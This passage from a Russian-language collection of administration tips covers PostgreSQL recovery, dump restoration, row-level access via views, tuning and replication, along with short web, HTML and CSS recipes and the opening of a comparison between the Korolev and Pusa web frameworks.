    В таком случае PostgreSQL не сможет работать и просто не запустится с подобной ошибкой:
    
       Jul 4 11:30:18 database postgres[92997]: [1-1] LOG: database system was interrupted at 2009-07-04 11:24:30 MSD
       Jul 4 11:30:18 database postgres[92997]: [2-1] LOG: could not open file "pg_xlog/000000010000031A00000027" 
          (log file 794, segment 39): No such file or directory
       Jul 4 11:30:18 database postgres[92997]: [3-1] LOG: invalid primary checkpoint record
       Jul 4 11:30:18 database postgres[92997]: [4-1] LOG: could not open 
    
    Найти поврежденный xlog-файл вряд ли получится, поэтому выход один - очистить
    информацию в БД об используемых логах.
    Для этого есть штатная утилита pg_resetxlog
    Но перед ее использованием надо узнать что именно вытирать из БД. Для этого делаем:
    
       # pg_controldata /var/db/pgsql/| grep "Latest checkpoint"
    
       Latest checkpoint's REDO location: 31A/27FFF7B8
       Latest checkpoint's UNDO location: 0/0
       Latest checkpoint's TimeLineID: 1
       Latest checkpoint's NextXID: 0/2400998005
       Latest checkpoint's NextOID: 75014368
    
    С этой информации нам интересны последние строчки с (NextXID, NextOID).
    
    Переходим в пользователя от имени которого выполняется PGSQL (в моем случае, это pgsql)
    
       # su pgsql
    
    И теперь сбрасываем логи, указав в параметрах наши цифры из данных pg_control
    
       $ pg_resetxlog -o 75014368 -x 2400998005 -f /var/db/pgsql/
    Transaction log reset
    
    Все, PGSQL теперь не помнит, что у него были когда-то логи транзакций и
    спокойно запустится, начав создавать их по-новой.
    
    PS: Хочется напомнить, что любые действия по восстановлению данных, требуют
    сохранения исходных данных
    перед любыми действиями над ними. Ну и максмум осторожности :)
    
     
    ----* Ускорение загрузки дампа PostgreSQL на многоядерных системах (доп. ссылка 1)   [комментарии]
     
    В бета версии PostgreSQL 8.4 в утилите pg_restore появилась поддержка возможности загрузки дампа 
    в несколько параллельных потоков. Например, загрузка дампа базы размером 300 Гб
    на 8-ядерном сервере
    занимала стандартным образом 12 часов, при распараллеливании процесса загрузки на 8 потоков, 
    время загрузи сократилось до 3 часов. Полная перезагрузка дампа базы может
    понадобиться например при миграции
    с PostgreSQL  8.2 на 8.3 или при переходе с 32- на 64-разрядную сборку системы.
    
    Огромным плюсом является и то, что параллельный вариант pg_restore 
    из ветки 8.4 прекрасно работает  с ветками 8.2 и 8.3.
    
    Рассмотрим процесс миграции с 8.2 на 8.3. На рабочей машине дополнительно
    установим в отдельную директорию бета версию 8.4:
    
       ./configure --prefix=/usr/local/pgsql84
       make
       make install 
    
    Создаем дамп работающей базы PostgreSQL 8.2, использую утилиту pg_dump из состава  PostgreSQL 8.3:
    
       /usr/local/pgsql83/bin/pg_dump -F c -v -f my_db.dump my_database
    
    В зависимости от конфигурации дополнительно может потребоваться сделать дамп ролей:
    
       /usr/local/pgsql83/bin/pg_dumpall -g -f my_roles.dump
    
    Восстанавливаем роли:
    
       /usr/local/pgsql83/bin/psql -f my_roles.dump postgres
    
    Запускаем процесс параллельного восстановления базы, число потоков задается
    через опцию -j, в нашем случае
    используется загрузка в 8 потоков. При указании большого числа потоков нужно
    быть уверенным, что система
    ввода/вывода не окажется узким местом, т.е. база размещена на высокопроизводительном хранилище:
    
       /usr/local/pgsql84/bin/pg_restore -F c -j 8 -v -C -f my_db.dump
    
    Дополнительно можно упомянуть, что в рамках проекта EnterpriseDB ведется
    разработка утилиты pg_migrator
    (http://pgfoundry.org/projects/pg-migrator/), позволяющей осуществлять перенос
    базы на новый сервер
    без остановки работы СУБД. Но  pg_migrator к сожалению находится еще на стадии альфа тестирования.
    
    
    Некоторые советы по оптимизации процесса создания дампа и его восстановления:
    
    * Во время восстановления можно отключить fsync режим и autovacuum, значительно
    увеличить размер памяти
    (до 1 Гб если памяти много), заданный в параметрах конфигурации work_mem и maintenance_work_mem, 
    при этом  размер wal_buffers и checkpoint_segments также нужно увеличить до 16 или 32 Мб;
    
    * При наличии больших GIN или GiST индексов, время восстановления которых
    нередко занимает 75% от всего времени
    восстановления, если без этих индексов можно себе позволить немного поработать,
    имеет смысл разделить
    процесс восстановления на две стадии: восстановление первичных данных, запуск БД в продакшин, 
    восстановление GIN или GiST индексов уже на работающей базе.
    
    * Всегда следует использовать pg_dump из более новой версии PostgreSQL, а не из
    старой, апгрейд которой производится.
    
    * Для продакшин систем, время и наличие возможных подводных камней стоит предварительно оценить, 
    выполнив тестовые dump/restore без остановки первичной базы;
    
     
    ----* PostgreSQL: безопасность на уровне строк (row level security)   Автор: FLUF  [комментарии]
     
    Некоторые базы данных, такие как MSSQL и MySQL5, имеют специальные механизмы
    для разграничения доступа
    пользователей к различным ресурсам БД вплоть до ячеек таблиц. PostgreSQL не
    нуждается в таких излишествах.
    На практике обычно требуется разграничить доступ на уровне строк. Для того, что
    бы сделать это, есть простой способ,
    основанный на использовании представлений, правил и функции current_user() или эквивалентного ей 
    ключевого слова user.
    
    Создадим любую таблицу от имени 'postgres', в которой обязательно должно присутствовать поле 
    для хранения логина:
    
       CREATE TABLE table1
       (
         fio text NOT NULL,
         name text,
         something integer,
         login text,
         CONSTRAINT table1_pkey PRIMARY KEY (fio)
       ) 
       WITHOUT OIDS;
       ALTER TABLE table1 OWNER TO postgres;
    
    Ни один пользователь не имеет никаких привилегий на эту таблицу.
    
    Создадим представление, и дадим необходимым пользователям некоторые привилегии:
    
       CREATE OR REPLACE VIEW table1v AS 
        SELECT table1.fio, table1.name, table1.something
          FROM table1
         WHERE table1.login = user;
       ALTER TABLE table1v OWNER TO postgres;
       GRANT SELECT, UPDATE, INSERT, DELETE ON TABLE table1v TO math_user;
    
    Создадим три правила - для вставки, обновления и удаления строк из представления:
    
       CREATE OR REPLACE RULE add AS
           ON INSERT TO table1v DO INSTEAD  INSERT INTO table1 (fio, name, something, login) 
         VALUES (new.fio, new.name, new.something, user);
    
       CREATE OR REPLACE RULE upd AS
           ON UPDATE TO table1v DO INSTEAD  UPDATE table1 SET fio = new.fio, name = new.name, something = new.something, login = user
         WHERE table1.login = user;
    
       CREATE OR REPLACE RULE del AS
           ON DELETE TO table1v DO INSTEAD  DELETE FROM table1 where login=user;
    
    Готово! Теперь пользователь math_user может просматривать или удалять только свои записи 
    и вставлять или изменять записи только под своим именем.
    
     
    ----* Как в PostgreSQL ограничить число одновременных сессий для базы и пользователя (доп. ссылка 1)   [комментарии]
     
    Начиная с PostgreSQL 8.1 появилась возможность ограничения числа соединений к серверу 
    для отдельного пользователя и базы:
    
       ALTER ROLE имя_пользователя CONNECTION LIMIT число;
       ALTER DATABASE имя_базы CONNECTION LIMIT число; 
    
    Можно указать лимит при создании базы или пользователя:
       CREATE USER имя_пользователя CONNECTION LIMIT число ENCRYPTED PASSWORD 'пароль';
       CREATE DATABASE имя_базы OWNER имя_пользователя CONNECTION LIMIT число; 
    
     
    ----* Как посмотреть размер баз и таблиц в PostgreSQL   [комментарии]
     
    Для сопоставления OID номеров и имен баз и таблиц в contrib есть утилита oid2name.
    
    Для просмотра размера таблиц для текущей базы:
       SELECT relname AS name, relfilenode AS oid, (relpages * 8192 / (1024*1024))::int as size_mb, reltuples  as count 
          FROM pg_class 
          WHERE relname NOT LIKE 'pg%' 
          ORDER BY relpages DESC;
    
    Для просмотра общего размера баз можно использовать скрипт:
       #!/bin/sh
       oid2name=/usr/local/pgsql/bin/oid2name
       pg_data_path=/usr/local/pgsql/data/base
    
       {
          $oid2name| grep '='| while read oid delim name; do
              size=`du -s $pg_data_path/$oid|cut -f1`
              echo "$size $name"
          done
       }|sort -rn
    
    Другой вариант просмотра размера базы:
    select pg_database_size('имя базы');
    
    Размер таблицы: 
    select select pg_relation_size('имя таблицы');
    
    Полный размер таблицы с сопутствующих индексов.
    select pg_total_relation_size('имя таблицы');
    
    Размер столбцов
    select pg_column_size('имя стобца') from 'имя таблицы'; 
    
    Состояние всех настроек можно посмотреть через функцию pg_show_all_settings().
    
     
    ----* Как вытащить тело PostgreSQL функции из системного каталога (доп. ссылка 1)   Автор: Олег Бартунов  [комментарии]
     
    Создаем view:
    
       CREATE OR REPLACE VIEW funcsource as
          SELECT '--\012create or replace function ' ||
             n.nspname::text || '.'::text || p.proname::text  ||
             '('::text || oidvectortypes(p.proargtypes) || ')\012'::text ||
             'returns ' || t.typname || ' as \'\012' ||
             p.prosrc || '  \'\012' || 
             'language \'' || l.lanname || ' \';\012' as func_source,
             proname as function, nspname as schema, t.typname as rettype,
             oidvectortypes(p.proargtypes) as args, l.lanname as language
          FROM pg_proc p, pg_type t, pg_namespace n, pg_language l
          WHERE p.prorettype = t.oid AND p.pronamespace = n.oid AND p.prolang = l.oid
         AND l.lanname <> 'c' AND l.lanname <> 'internal'  ;
    
    Сохраняем исходные коды функций в файл:
        psql -Atc "select func_source from funcsource;" > functions.out
    
     
    ----* Как восстановить template0 в PostgreSQL (доп. ссылка 1)   Автор: Олег Бартунов  [обсудить]
     
    Восстановление из резервной template1:
       postgres template1
       create database template0 with template template1
       update pg_database set datallowconn = false where datname='template0';
       vacuum full;
       vacuum freeze; 
    
     
    ----* Как в PostgreSQL временно отключить тригеры для ускорения закачки БД (доп. ссылка 1)   Автор: Олег Бартунов  [обсудить]
     
    Выключить:
       UPDATE "pg_class" SET "reltriggers" = 0 WHERE "relname"='tablename';
    
    Включить:
       UPDATE pg_class SET reltriggers = (
          SELECT count(*) FROM pg_trigger where pg_class.oid = tgrelid)
          WHERE relname = 'table name';            
    
     
    ----* Как включить помещение в лог всех запросов к PostgreSQL (доп. ссылка 1)   Автор: Brainbug  [комментарии]
     
    В файле конфигурации PostgreSQL:
       log_duration = true
       log_pid = true
       log_statement = true
       log_timestamp = true 
    
     
    ----* Как увеличить скорость вставки большого числа INSERT в PostgreSQL   [комментарии]
     
    Для увеличения скорости помещения большого числа INSERT запросов (например,
    дамп в формате pg_dump -D):
    
        SET autocommit TO 'off';
        строки с INSERT
        COMMIT;
        SET autocommit TO 'on';
    
    Или заключить набор INSERT'ов в одну транзакцию:
        BEGIN;
        INSERT....
        COMMIT;
    
    Вместо INSERT лучше использовать "COPY таблица (список полей) FROM stdin;"
    
     
    ----* Как посмотреть статистику работы PostgreSQL и MySQL   [обсудить]
     
    Чем сейчас занимается SQL сервер:
       MySQL: mysqladmin processlist
       PostgreSQL: select * from pg_stat_activity;
                   select * from pg_stat_database;
    Общая статистика по работе сервера:
       MySQL: mysqladmin extended-status; mysqladmin status
       PostgreSQL: select * from pg_stats;
    
     
    ----* Что можно сделать когда VACUUM в PostgreSQL выполняется почти часами и часто падает с deadlock.   [комментарии]
     
    Иногда, особенно для интенсивно обновляемых таблиц, начинают сыпаться deadlock'и и VACUUM 
    выполняется нереально долгое время. Часто проблема из-за поврежденного индекса. Решение:
      REINDEX TABLE таблица;
      REINDEX INDEX индекс;
    
     
    ----* Что нужно делать если после отключения по питанию, PostgreSQL не запускается   [комментарии]
     
    - Скопируйте содержимое директории pgsql/data
    - Если postmaster не загрузился - попробуйте удалить файлы 
      rm -f /tmp/.s.PGSQL.* /usr/local/pgsql/data/postmaster.pid
    и попытаться запустить PostgreSQL.
    - Если postmaster загрузился, но ни один запрос, включая vacuum, не выполняется,
    попробуйте использовать утилиту contrib/pg_resetxlog.
    - После всего выполните полный бэкап базы (pg_dumpall) и vacuumdb --all --full --analyze
    
     
    ----* Как лучше бэкапить данные баз в PostgreSQL   [обсудить]
     
    Полный бэкап всех баз:
      pg_dumpall [-s] [-D] > backup_file
    Выборочный бэкап:
      pg_dump [-s] [-D] [-t table] db > backup_file        
    -s - записывается только информация о структуре базы, без данных.
    -D - формируется бэкап данных в виде INSERT команд.
    -t table - бэкап выборочных таблиц.
    
     
    ----* Как избавиться от deadlock в PostgreSQL ?   [обсудить]
     
    Скорее всего вы используйте индексы типа "Hash". 
    Они не очень подходят для баз с множеством параллельных запросов,
    замените Hash на BTree.
    
     
    ----* Почему в PosgreSQL 7.2 наблюдается разростание таблиц ? Vacuum analyze запускается каждый день.   [комментарии]
     
    В PostgreSQL 7.2 полностью изменился механизм работы VACUUM. Теперь для
    реальной перестройки содержимого таблицы
    и реального освобождения пустых блоков необходимо запускать VACUUM FULL
    ANALYZE. Иначе при интенсивном апдейте,
    небольшая таблица может превратится в огромного монстра. Во время работы VACUUM
    FULL - текущая таблица блокируется.
    
     
    ----* Как использовать индексы для оптимизации запросов по полю типа timestamp   [обсудить]
     
    EXPLAIN SELECT num FROM news WHERE enter_date < (now() - '30 days'::interval);
    По умолчанию используется Seq Scan, несмотря на наличие индекса по
     enter_date, для использования индекса нужно использовать:
         EXPLAIN SELECT num FROM news WHERE enter_date < (SELECT now() - '30 days'::interval);
    или 
         set enable_seqscan to off;
    
     
    ----* Как в PostgreSQL посмотреть список активных баз и пользователей ?   [обсудить]
     
    Список пользователей:
       select * from pg_shadow;
    
    Список баз данных:
       select * from pg_database;
    
    Из командной строки:
    
       psql -A -q -t -c "select datname from pg_database" template1
    
    В современных версиях PostgreSQL можно просто набрать:
       psql -l
    
     
    ----* Решение проблемы сборки PostgreSQL c --enable-multibyte   Автор: Yuri A. Kabaenkov  [обсудить]
     
    Если у вас уже установлен postgresql и вы решили добавить поддержку --enable-multibyte, 
    то при компиляции возможно возникнет ошибка и компиляция прекратится. Ошибка
    связана с функцией pg_encoding_to_char в libpq.
    (Компилятор лезет за библиотекой в старый libpq)
    Решение:
    1. make clean
    2. удалить старые библиотеки постгреса или удалить путь к библиотекам из ldconfig.
    
     
    ----* Как установить из исходных текстов PostgreSQL   [комментарии]
     
    ./configure --enable-locale --enable-multibyte=KOI8 --with-perl --enable-unicode-conversion
             
    gmake; gmake install
    adduser postgres
    su - postgres
    export LANG=ru_RU.KOI8-R # Убедитесь в том что установлена правильная русская локаль.
    /usr/local/pgsql/bin/initdb -E KOI8 -D /usr/local/pgsql/data
    /usr/local/pgsql/bin/postmaster -D /usr/local/pgsql/data >logfile 2>&1 &
    
     
    ----* Как оптимизировать работу UPDATE и INSERT операций в PostgreSQL   [обсудить]
     
    Можно запретить сброс буферов на диск после каждой транзакции: "-o -F"
    data/postgresql.conf:
    fsync = off
    sort_mem = 2048
    effective_cache_size=2000
    
     
    ----* Как увеличить производительность PostgreSQL   [обсудить]
     
    1. Запустите postmaster c опциями "-o '-F'" (асинхронная запись, возможна потеря данных при сбое)
    2. Почаще выполняйте команду vacuum analyze (pgsql/bin/vacuum --analyze).
    
     
    ----* Как увеличить максимально возможный размер блока в PostgreSQL   [обсудить]
     
    По умолчанию элемент таблицы не может превышать 8Кб.
    в src/include/config.h измените значение BLCKSZ 
    PS. В PostgreSQL 7.1.x ограничение на размер снято.
    
     
    ----* Как увеличить количество shared memory для работы высоконагруженного PostgreSQL   [комментарии]
     
    В linux:
    echo 134217728 >/proc/sys/kernel/shmall
    echo 134217728 >/proc/sys/kernel/shmmax
    В конфиге ядра FreeBSD:
    options         SYSVSHM
    options         SHMMAXPGS=4096
    options         SHMMAX="(SHMMAXPGS*PAGE_SIZE+1)"
    options         SHMMIN=2    
    options         SHMMNI=256
    options         SHMSEG=256  
    options         SYSVSEM     
    options         SEMMAP=512  
    options         SEMMNI=512  
    options         SEMMNS=1024 
    options         SEMMNU=512  
    options         SEMMSL=256  
    options         SEMOPM=256  
    options         SEMUME=64   
    options         SYSVMSG     
    options         MSGMNB=8192 
    options         MSGMNI=256  
    options         MSGSEG=8192 
    options         MSGSSZ=16   
    options         MSGTQL=128  
    options         NMBCLUSTERS=16786
    options         NBUF=2048
    maxusers        512
    
     
    ----* Репликация PostgreSQL при помощи londiste из пакета skytools   Автор: Pavel Sorokin  [комментарии]
     
    Сначала необходимо всё правильно поставить. SkyTools есть в репозиториях
    постгреса для CentOS, но проблема заключается в том, что в этом пакете не
    включены дополнительные модули, а именно Pgq_LowLevel. Поэтому сделал следующее:
    Скачал последнюю версию skytools с сайта
    https://developer.skype.com/SkypeGarage/DbProjects/SkyTools , сконфигурировал,
    скомпилировал, и взял оттуда лишь модули для питона Pgq_LowLevel, затем
    поставил пакет(благо версии пакета в репозитории и модулей совпали) и
    скопировал модули pgq_lowlevel.so, pgq_triggers.so, logtriga.so в /usr/lib/pgsql/.
    
    Всё дальше можно переходить к репликации.
    
    Теперь все нижеследующие действия будут проходить от пользователя postgres и
    только на мастер сервере, но нужно учесть, что на слэйв сервер был доступ для
    пользователя владеющего базой данных, то есть должна выполняться команда:
    
       psql -h slave.server.r -U your_user -d your_database
    
    Сначала нам нужно установить pgqadmin. Создаём любой файл следующего содержания 
    
       [pgqadm]
       job_name = your_cluster_name
       db = dbname=your_database_name
    
       # how often to run maintenance [seconds]
       maint_delay = 600
    
       # how often to check for activity [seconds]
       loop_delay = 0.1
    
       logfile = ~/log/%(job_name)s.log
       pidfile = ~/pid/%(job_name)s.pid
    
    
    далее мы устанавливаем pgq и создаём очередь.
    
       $ pgqadm.py yaour_file install
       $ pgqadm.py -d your_file ticker
       $ pgqadm.py your_file create your_queue
       $ pgqadm.py your_file register your_queue your_consumer
    
    
    теперь когда создана очередь, мы можем начать нашу репликацию. Создаём файл
    /etc/londiste_your_cluster_name.ini вида:
    
       [londiste]
       job_name = your_cluster_name
    
       provider_db = dbname=your_database
       subscriber_db = dbname=your_database port=5432 host=slave.server.r user=files_testing password=your_password
    
       # it will be used as sql ident so no dots/spaces
       pgq_queue_name = your_queue
    
       logfile = /tmp/%(job_name)s.log
       pidfile = /tmp/%(job_name)s.pid
    
    Когда файл создан запускаем londiste
    
       londiste.py /etc/londiste_your_cluster_name.ini provider install
       londiste.py /etc/londiste_your_cluster_name.ini subscriber install
    
    Добавляем таблицы для репликации
    
       londiste.py /etc/londiste_your_cluster_name.ini provider add table1 table2 table3 
       londiste.py /etc/londiste_your_cluster_name.ini subscriber add table1 table2 table3
       londiste.py -d /etc/londiste_your_cluster_name.ini replay
    
    Все !
    
     

       Web-технологии

    ----* Советы Yahoo по увеличению производительности web-сайтов (доп. ссылка 1)   [комментарии]
     
    1. Производить как можно меньше HTTP запросов;
    2. Воспользоваться услугами сетей доставки контента (Content Delivery Network), например Akamai;
    3. Не пренебрегать HTTP заголовком "Expires" или "Cache-control";
    4. Отдавать страницы в сжатом виде (например, mod_gzip);
    5. Указывать ссылки на файлы с таблицами стилей (link href) в начале документа;
    6. Указывать ссылки на JavaScript файлы (script src) в конце документа;
    7. Не использовать вычислимые выражения (expression) в CSS;
    8. Хранить JavaScript и CSS вставки в виде отдельных файлов;
    9. Уменьшить число обращений к другим доменам на странице (например, когда картинки или iframe грузятся с другого сервера, в идеале не больше 3 доменов);
    10. Минимизировать размер JavaScript и CSS (например, при помощи JSMin или YUI compressor, которые убирают лишние пробелы, комментарии и сокращают переменные);
    11. Избегать редиректов (HTTP Redirect);
    12. Исключить дублирование JavaScript кода (например, IE повторно грузит повторяющиеся "script src" вставки);
    13. Настроить ETags ("FileETag None" в Apache);
    14. Кэшировать Ajax запросы;
    15. Сбрасывать буфер в на начальном этапе генерации страницы (например, через периодический вызов flush() в PHP, для того чтобы клиент получил ссылки на CSS файлы и успел начать их загрузку);
    16. Использовать для Ajax запросов HTTP метод GET (вмещается в 1 TCP пакет, в то время как POST отправляется в два этапа - заголовки и данные);
    17. Выделение контента, который можно загрузить в последнюю очередь (например, отложенная загрузка картинок и JavaScript блоков, после того как загрузится основная часть);
    18. Выделение скриптов, который нужно загрузить в первую очередь;
    19. Уменьшение числа элементов в дереве DOM (минимизация числа HTML тэгов на странице);
    20. Разделение контента по разным доменам: статика через отдельный static.domain.com (браузер будет загружать данные параллельно);
    21. Минимизировать число iframe'ов, не использовать в iframe и script src ссылки на чужие ресурсы (блокирует загрузку остальной части страницы);
    22. Недопускать появление 404 ошибки (страница не найдена);
    23. Уменьшить размер Cookie (убрать лишнее, сократить имена, привязать только к необходимым доменам, определить время жизни);
    24. Для вспомогательных страниц исключить установку Cookie (вынос картинок, CSS и скриптов на static.domain.com);
    25. В JavaScript минимизировать обращения к DOM (очень медленная операция), исключить повторяющиеся запросы к DOM через кэширование;
    26. Оптимизировать обработку событий в JavaScript (вместо "onload" использовать DOMContentLoaded, с осторожностью использовать onresize, провести аудит при помощи утилиты YUI Event);
    27. Загружать CSS через "link" вначале страницы, не использовать @import (в IE он приводит к загрузке CSS в самом конце);
    28. Избегать использования фильтров в CSS, они поддерживаются только в IE, лучше использовать PNG8;
    29. Оптимизировать изображения (минимизация размера палитры, переход на PNG, оптимизация через утилиты pngcrush, optipng или pngoptimizer, удаления комментариев в картинках, оптимизация JPEG через jpegtran);
    30. Оптимизация CSS спрайтов (css sprite) для создания фоновых изображений;
    31. Фактический размер изображения должен совпадать с указанным в параметрах width и height (для того чтобы избежать масштабирования);
    32. favicon.ico должен быть небольшим (менее 1 Кб) и кэшируемым (должен выставляться Expires, 9% всех запросов в Yahoo Search приходится на favicon.ico !);
    33. При использовании Flash нужно определить crossdomain.xml;
    34. Страницы, предназначенные для просмотра на мобильных устройствах, не должны превышать 25Кб (иначе не попадают в кэш iPhone);
    35. Для мобильных устройств можно использовать multipart блоки, когда дополнения к странице (css, картинки) упаковываются в самой странице в виде приложений;
     
    ----* Как явно указать браузеру имя файла, генерируемого CGI скриптом для скачивания.   [комментарии]
     
    print "Content-type: application/octet-stream\n";
    print "Content-Disposition: attachment; filename=table.dbf\n\n";
    
     
    ----* Как предложить браузеру сохранить файл выдаваемый CGI-скриптом под именем отличным от текущего CGI.   [обсудить]
     
    Для IE нужно выдать заголовок:
             Content-Disposition: attachment; filename=somefile.jpg
    
     
    ----* Как организовать в Интернет-магазине перевод денег с кредитных карт ?   [комментарии]
     
    Воспользуйтесь системами для проведения авторизации и процессинга платежей, 
    совершаемых при помощи кредитных карт или с лицевых счетов клиентов:
    http://www.assist.ru/ или http://www.paymentgate.ru/
    
     
    ----* HTTP коды ошибок 3xx,4xx,5xx   [обсудить]
     
    200 OK
    201 Created
    202 Accepted
    203 Provisional Information
    204 No Content
    
    300 Multiple Choices
    301 Moved Permanently
    302 Moved Temporarily
    303 Method
    304 Not Modified 
    
    400 Bad Request - неправильный запрос
    401 Authorization Required - ошибка авторизации
    402 Payment Required
    403 Forbidden - нет доступа
    404 Not Found - документ не найден
    405 Method Not Allowed
    406 None Acceptable
    407 Proxy Authentication Required
    408 Request Timeout
    409 Conflict
    410 Gone
    
    500 Internal Server Error - внутренняя ошибка скрипта
    501 Not Implemented
    502 Bad Gateway
    503 Service Unavailable
    504 Gateway Timeout
    
     
    ----* Подсказка по переменным окружения   [обсудить]
     
    Языки - HTTP_ACCEPT_LANGUAGE="ru, en"
    Текущий хост  - HTTP_HOST="www.opennet.ru"
    Браузер пользователя - HTTP_USER_AGENT="Mozilla/4.72 [en] (X11; I; Linux 2.0.36 i586; Nav)"
    Идентификатор прокси - HTTP_VIA="1.0 proxy.pirat.ru:3128 (Squid/2.2.STABLE5)"
    Реальный IP до прокси - HTTP_X_FORWARDED_FOR="213.16.124.31"
    Параметры скрипта - QUERY_STRING="a=5&f=6"
    IP  пользователя или прокси - REMOTE_ADDR="213.16.124.3"
    Запрошенный документ  - REQUEST_URI="/cgi-bin/printenv.cgi?a=5&f=6"
    Полный путь к скрипту - SCRIPT_FILENAME="/usr/local/apache/cgi-bin/printenv.cgi"
    Относительный путь к скрипту - SCRIPT_NAME="/cgi-bin/printenv.cgi"
    Реферер - HTTP_REFERER
    
     
    ----* Решение проблемы кодирования русских символов в IE   [обсудить]
     
    В IE JavaScript функция escape() кодирует в utf8, вместо %XX.
    Последовательности закодированные в виде %uXXX (utf8) рекомендуется раскодировать 
    посредством модулей Unicode::String и Unicode::Map8. 
    Другим выходом является принудительное кодирование параметров внутри
    документа средствами JavaScript. 
    
     

       CGI на Perl:

       CSS и оформление с использованием стилей

    ----* Разделитель страниц при выводе одного большого HTML на печать   [комментарии]
     
    Для того чтобы разбить в нужных местах большой HTML документ на страницы 
    и выделить их полоской при просмотре в браузере, которая не будет видна в печатном варианте, 
    можно использовать код:
    
    <table style="width: 100%; padding: 0; border: none; border-collapse: collapse;">
      <tr><td style="background-color: #B0B0B0; height: 1; padding: 0;" nowrap></td></tr>
    </table>
    <br style="page-break-after: always">
    
     
    ----* Как выделить цветом фон строки текста.   [обсудить]
     
      <span style="background-color: #d8d8ff; color: #400000;">test</span>
    или просто указав стиль в тэге: 
      <li style="background-color: #d8d8ff; color: #400000;">test</li>
    
     
    ----* Как оформить ветвление структурных деревьев с помощью CSS   Автор: Eugene Spearance  [обсудить]
     
    blockquote { margin-top: 3px; margin-bottom: 3px; margin-left: 2em;
    margin-right: 0em; background: #red }
    В этом случае блок отступит на 3 пикселя сверху и снизу, на 2 символа слева и закрасит фон красным.
    
     
    ----* Как описать стиль прямо внутри тэга ?   [обсудить]
     
    Например: <a href=" style="color: #D00000; text-decoration: none;">
    
     
    ----* Оформление тега HR с помощью CSS   Автор: Eugene Spearance  [комментарии]
     
    Цвет можно задать параметром color
    hr {color: black}
    Толщину линии height
    hr {height: 1px}
    
     

       HTML

    ----* Как вставить текст в блок со скроллерами, как textarea, но без автопереноса.   [обсудить]
     
    <div style="padding: 8px; border: 1px solid #DDDDDD; background: white; overflow: auto; 
      width: 400px; height: 200px"><pre>текст</pre></div>
    
     
    ----* Как в HTML сделать однопиксельный разделитель в таблице   [обсудить]
     
    Вместо <hr noshade size=1> можно использовать:
      <tr><td height="1" bgcolor="#8F0000">
        <spacer type="block" width="450" height="1">
      </td></tr>
    или еще одно решение:
       <td height="1" bgcolor="#8F0000" nowrap></td>
    
     
    ----* Как организовать автоматическое перечитывание страницы через 5 мин.   [обсудить]
     
    <meta HTTP-EQUIV="Refresh" CONTENT="300">
    <meta HTTP-EQUIV="Pragma" CONTENT="no-cache">
    <meta HTTP-EQUIV="Expires" CONTENT="Tue, 04 Mar 2001 07:15:50 GMT">
    
     
    ----* Что поместить на html страничку чтобы она не кэшировалась   [обсудить]
     
       <meta http-equiv="Cache-Control" Content="no-cache">
       <meta http-equiv="Pragma" Content="no-cache">
       <meta http-equiv="Expires" Content="0">
    
     
    ----* Отступы в HTML   [обсудить]
     
    "MARGINHEIGHT" добавляет пустое поле между верхней границей фрейма и началом
    текста или графики. Измеряется в пикселах.
    "MARGINWIDTH" аналогично "MARGINHEIGHT", только применяется к левой границе. 
    
    Для добавления отступа между таблицами удобно использовать:
      <table ... style="margin-bottom: 5px;">
    или 
      <table ... style="margin-top: 5px;">
    
     
    ----* Как описать свой сайт и ключевые слова для поисковиков (доп. ссылка 1)   Автор: Dima I. Allaverdov   [комментарии]
     
    <meta name="description" content="Описание сайта">
    <meta name="keywords" http-equiv="keywords" content="ключевое слово1, ключевое слово2...">
    
     
    ----* Как автоматически перебросить пользователя на другую страницу   Автор: Dima I. Allaverdov  [комментарии]
     
    Перенаправить через 5 сек:
       <meta http-equiv="refresh" content="5; url=http://www.test.ru/">
    или через JavaScript:
    
    
       window.location = 'http://www.test.ru';
    
    или в cgi:
    
       print "Status: 302\n";
       print "Location: http://www.test.ru\n\n"; 
    
     

       JavaScript

    ----* Сравнение методов исключения разработки на JavaScript для веб технологий (доп. ссылка 1)   Автор: Still Swamp  [комментарии]
     
    Преамбула
    
    К статье о публикации фрэймворка Pusa авторы получили полезные для
    дальнейшей работы над проектом отклики. Наиболее важным нам показалась беседа с
    создателем проекта Korolev, реализующего аналогичную парадигму но
    принципиально иными методами.
    
    Так как, у нас была возможность не только познакомится с исходным кодом
    Korolev, но и пообщаться с его создателем, считаем возможным показать
    принципиальное отличие концепции Pusa, именно на примере Korolev.
    
    Задача
    
    Оба проекта реализуют разработку web-приложений без необходимости написания
    клиентского кода JavaScript  конечным разработчиком.
    
    Решение Korolev
    
    Реализация scala. При открытии страница браузер клиента скачивает базовый
    JavaScript-код приложения. Тот открывает WebSocket-соединение с сервером
    Korolev. На стороне сервера формируется DOM-структура. Клиентские события
    направляются через websocket на сервер. Получив очередное событие Korolev
    выполняет необходимую бизнес логику, вносит изменения в DOM на стороне сервера,
    далее выполняется построение дифференциального обновления которое направляется
    на клиент. Благодаря оптимизированному механизму построения дифов,
    эффективность обработки DOM на стороне Korolev высока. Клиентское приложение
    получив изменения, отражает их в DOM браузера. Пользователь получает
    необходимый контент.
    
    
    Решение Pusa
    
    Реализация PHP. При старте приложения браузер скачивает базовый JavaScript-код
    приложения Pusa (6кб). Приложение выполняет AJAX запросы на основе событий
    браузера. Каждый запрос содержит данные о событийном DOM-элементе и служебную
    информацию. Сервер Pusa получая очередное событие, определяет и выполняет
    контроллер с бизнес логикой, и возвращает набор инструкций согласно протоколу
    Pusa (https://gitlab.com/catlair/pusa/-/blob/main/site/pusa/src/language_ru/man/pusa_protocol.md),
     как результат AJAX запроса. JavaScript-клиент отрабатывает полученные
    инструкции, внося изменения в клиентский DOM. Пользователь получает необходимый контент.
    
    Общее в концепциях
    
    
  • Клиентские приложения требуют JavaScript как основу работы приложения.
  • От разработчика не требуется работа над клиентским кодом JavaScript ни в каком виде.
  • Бизнес логика и работа с DOM выполняется на стороне сервера на имеющихся средствах разработки.
  • Клиент получает необходимый контент.
  • Код приложения находится в безопасном серверном окружении и не присутствует на стороне клиента.
  • Клиентский код JavaScript минималистичен и стабилен.
  • С разработчика снимается проблема сериализации при передаче данных. Особенности Korolev
  • Сервер обладает отражением DOM-объекта для каждого клиентского соединения.
  • Korolev направляет клиенту дифференциальный, хорошо оптимизированный контент.
  • Korolev использует WebSocket, как основной высокопроизводительный метод взаимодействия.
  • В силу архитектуры сервер Korolev имеет возможность инициировать изменение клиентского контента. Особенности Pusa
  • Сервер не требует и не подразумевает хранение состояния клиента, те реализуется чистый REST.
  • Pusa направляет клиенту команды в ответе AJAX через XMLHttpRequest, что значительно снижает требования к браузеру.
  • Pusa относится к клиенту как удаленному конечному автомату без обратной связи.
